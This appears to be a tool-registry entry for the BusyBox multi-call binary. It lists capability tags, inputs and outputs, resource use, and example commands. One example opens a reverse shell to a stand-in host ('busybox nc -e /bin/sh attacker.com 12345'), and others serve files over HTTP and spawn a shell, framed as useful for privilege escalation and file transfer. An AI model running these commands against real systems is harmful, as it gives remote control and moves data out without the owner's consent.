Multi-call binary that combines many Unix utilities in a single executable for embedded systems.
busybox {0} 📎 0 busybox {0} Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell security.execution.command security.execution.reverse-shell network.transfer.upload system.file.read system.file.write Inputs
system.command.string BusyBox applet and arguments
Outputs
process.output Command execution output
process_spawn Produces
process.outputConsumes
system.command.string| Resource | Value |
|---|---|
| CPU | low |
| Memory | 2 MB |
| Network | low |
| Disk I/O | low |
Spawn interactive ash shell via busybox
busybox ash Spawn reverse shell via busybox nc
busybox nc -e /bin/sh attacker.com 12345 Serve files via HTTP for upload
busybox httpd -f -p 12345 -h . Read file via busybox cat
busybox cat /path/to/input-file BusyBox combines many common Unix utilities into a single executable. Run busybox --list-full to see all available applets. It is especially useful in embedded systems and container environments for privilege escalation and file transfer.